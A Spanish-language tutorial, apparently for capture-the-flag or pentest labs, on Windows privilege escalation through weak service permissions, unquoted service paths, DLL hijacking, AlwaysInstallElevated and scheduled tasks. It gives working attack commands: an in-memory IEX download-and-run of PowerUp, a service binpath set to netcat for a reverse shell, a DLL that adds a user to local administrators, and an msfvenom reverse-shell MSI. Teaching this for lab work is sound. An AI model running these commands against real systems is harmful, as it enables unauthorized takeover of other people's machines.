Escalada en Windows: servicios, rutas sin comillas, DLL hijacking y AlwaysInstallElevated
Encontrar y abusar de servicios con permisos débiles, rutas sin comillas, DLL hijacking, tareas programadas y AlwaysInstallElevated, a mano o con winPEAS.
Si whoami /priv no te da nada (mira antes la guía de SeImpersonate y Potatoes), la siguiente pregunta en Windows es siempre la misma: ¿qué se ejecuta como SYSTEM y qué parte de eso puedo modificar? Un servicio, una DLL, una tarea programada o un instalador. Esta guía repasa los cuatro.
Enumeración rápida
Las herramientas automáticas te ahorran tiempo; la chuleta de escalada en Windows tiene los comandos manuales equivalentes.
# winPEAS: el más completo
.\winPEASx64.exe quiet servicesinfo applicationsinfo
# PowerUp (PowerSploit): rápido y con funciones para explotar lo que encuentra
. .\PowerUp.ps1
Invoke-AllChecks
Truco
Si la ejecución de scripts está bloqueada, carga PowerUp en memoria: IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.5/PowerUp.ps1'). Si estás en Constrained Language Mode no funcionará: lee AppLocker y CLM.
1. Servicios con permisos débiles
Un servicio guarda en el registro qué binario ejecuta (ImagePath) y con qué cuenta. Hay tres formas de secuestrarlo:
| Qué puedes modificar | Cómo se ve | Qué haces |
|---|---|---|
| La configuración del servicio | SERVICE_CHANGE_CONFIG o SERVICE_ALL_ACCESS en accesschk |
sc config para cambiar el binario |
| El binario del servicio | (F), (M) o (W) para tu usuario en icacls |
Reemplazarlo por el tuyo |
| La clave del registro | FullControl o SetValue sobre HKLM\SYSTEM\CurrentControlSet\Services\<svc> |
Cambiar ImagePath |
# Permisos sobre servicios (Sysinternals)
.\accesschk64.exe /accepteula -uwcqv "Authenticated Users" *
.\accesschk64.exe /accepteula -uwcqv %USERNAME% *
# Binario y cuenta de un servicio
sc qc NombreServicio
icacls "C:\Program Files\App\servicio.exe"
# Permisos sobre la clave del registro
Get-Acl HKLM:\SYSTEM\CurrentControlSet\Services\NombreServicio | Format-List
Abuso (necesitas poder reiniciar el servicio, o esperar a que la máquina se reinicie si arranca solo):
sc config NombreServicio binpath= "C:\Windows\Temp\nc.exe 10.10.14.5 4444 -e cmd.exe"
sc stop NombreServicio
sc start NombreServicio
Nota
El espacio detrás de binpath= es obligatorio. sc start dará un error de que el servicio no respondió, pero tu comando ya se habrá ejecutado como la cuenta del servicio.
2. Rutas sin comillas (unquoted service path)
Si la ruta del binario tiene espacios y no va entre comillas, Windows prueba cada trozo. Para C:\Program Files\Mi App\bin\servicio.exe intenta, en este orden:
C:\Program.exe
C:\Program Files\Mi.exe
C:\Program Files\Mi App\bin\servicio.exe
Si puedes escribir en C:\Program Files\ (raro) o en C:\Program Files\Mi App\ (más habitual), deja ahí Mi.exe y reinicia el servicio.
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """
Get-CimInstance Win32_Service | ? { $_.PathName -notmatch '^"' -and $_.PathName -match ' ' } | select Name,PathName,StartMode
icacls "C:\Program Files\Mi App"
3. DLL hijacking
Cuando un programa carga una DLL sin ruta absoluta, Windows la busca en este orden: la carpeta del programa, System32, la carpeta de Windows, la carpeta actual y luego cada carpeta del PATH. Si un servicio que corre como SYSTEM busca una DLL que no existe y tú puedes escribir en alguna de esas carpetas, tu DLL se cargará.
Cómo encontrarlo:
- Process Monitor (en tu propio laboratorio, con el mismo programa): filtra por
Result is NAME NOT FOUNDyPath ends with .dll. - Carpetas del
PATHen las que puedes escribir:$env:Path -split ';' | % { icacls $_ 2>$null | findstr /i "Users Everyone Authenticated" }. - Programas de terceros instalados fuera de
Program Files(por ejemplo enC:\App\), donde los usuarios suelen tener permisos de escritura.
Una DLL mínima para probar, compilada desde Linux:
// x86_64-w64-mingw32-gcc -shared -o hijack.dll hijack.c
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE h, DWORD motivo, LPVOID r) {
if (motivo == DLL_PROCESS_ATTACH) {
system("cmd /c net localgroup administrators usuario /add");
}
return TRUE;
}
Mira las máquinas de DLL hijacking del catálogo: suele ser un servicio de terceros, no algo de Windows.
4. AlwaysInstallElevated
Dos claves del registro, que normalmente se ponen por GPO, hacen que cualquier usuario instale paquetes MSI como SYSTEM. Tienen que estar las dos a 1:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Si lo están, genera un MSI (con el generador de msfvenom) e instálalo:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f msi -o setup.msi
msiexec /quiet /qn /i C:\Windows\Temp\setup.msi
La máquina Love es el ejemplo clásico de AlwaysInstallElevated.
5. Tareas programadas y scripts de administración
Los administradores dejan scripts que se ejecutan solos: copias de seguridad, limpiezas, comprobaciones. Si puedes modificar el script o el binario que lanza la tarea, se ejecuta con los permisos del autor.
schtasks /query /fo LIST /v | findstr /i "TaskName Run Author"
Get-ScheduledTask | ? { $_.Principal.UserId -notmatch 'SYSTEM|LOCAL|NETWORK' } | select TaskName,TaskPath
icacls C:\Scripts\backup.ps1
No siempre verás la tarea (las de otros usuarios no aparecen). Busca pistas: carpetas como C:\Scripts, ficheros .ps1 o .bat con fecha de modificación reciente, o logs que se actualizan cada pocos minutos. Es la técnica de tareas y scripts de admin.
Errores típicos
Access is deniedal hacersc stop: puedes cambiar la configuración pero no reiniciar el servicio. Si suSTART_TYPEesAUTO_START, reiniciar la máquina (shutdown /r /t 0, si tienes el privilegio) también vale.- El binario que subes muere enseguida: un servicio tiene que responder al gestor de servicios o Windows lo mata a los 30 segundos. Usa un comando que lance otro proceso (
cmd /c start ...) o un ejecutable de servicio de verdad (msfvenom -f exe-service). - La DLL se carga pero no pasa nada: arquitectura equivocada (32 frente a 64 bits) o el programa necesita una función exportada concreta para no cerrarse.
Y después
Si nada de esto aparece, revisa las credenciales guardadas en el registro y el historial y los exploits de Windows para versiones sin parchear. Y si la máquina está en un dominio, la escalada puede llegar por el lado de Active Directory: empieza por la guía de enumeración de AD.